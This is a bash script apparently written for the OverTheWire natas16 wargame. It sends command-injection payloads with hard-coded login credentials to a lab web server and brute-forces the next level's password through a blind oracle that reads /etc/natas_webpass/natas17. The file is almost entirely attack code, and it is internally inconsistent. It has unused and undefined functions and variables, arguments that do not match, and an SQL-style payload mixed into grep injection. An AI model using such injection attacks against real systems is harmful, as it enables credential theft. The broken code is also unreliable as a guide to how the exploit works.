#!/usr/bin/env bash fcmd() { echo "\$(grep ^$1.* /etc/natas_webpass/natas17)" } req() { curl http://natas16.natas.labs.overthewire.org/index.php \ -X POST \ -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo \ -d "needle=$2" \ -sS \ | grep --after-context 2 "
"
}

LOWER="abcdefghijklmnopqrstuvwxyz"
UPPER="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
DIGIT="0123456789"

guess_regex() {
  req "regexp_like(password, '^$1[a-zA-Z0-9]*\$', 'c')"
}

exploit_oracle() {
  echo "[@] Forcing oracle exploit"
  local PREFIX=""
  local LENGTH=$1

  while true; do
    if [ "${#PREFIX}" = "$LENGTH" ]; then
      break
    fi
    
    for chars in $LOWER $UPPER $DIGIT; do
      local MIN=1
      local MAX=${#chars}
    
      local RANGE="[${chars:MIN-1:1}-${chars:MAX-1:1}]"
      echo -en "[*] ?? $RANGE\r"
      guess_regex "$PREFIX$RANGE$POSTFIX" || continue
      echo "[+] Found[CHARSET]: $chars"

      local MID=$(( (MAX+MIN)/2 ))
      while true; do
        echo -en "[*] Guess: $RANGE\r"
        if [ $((MAX-MIN)) -eq 1 ]; then
          if guess_regex "$PREFIX${chars:MIN-1:1}"; then
            PREFIX="${PREFIX}${chars:MIN-1:1}"
          else
            PREFIX="${PREFIX}${chars:MAX-1:1}"
          fi
          echo -e "[+] Update: ${chars:MAX-1:1} -> $PREFIX"
          break
        fi;
    
        MID=$(( (MAX+MIN)/2 ))
        RANGE="[${chars:MIN-1:1}-${chars:MID-1:1}]"
        guess_regex "$PREFIX$RANGE" && MAX=$MID || MIN=$MID
      done
      break
    done
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
}


get_length
LENGTH=$?

exploit_oracle "$LENGTH"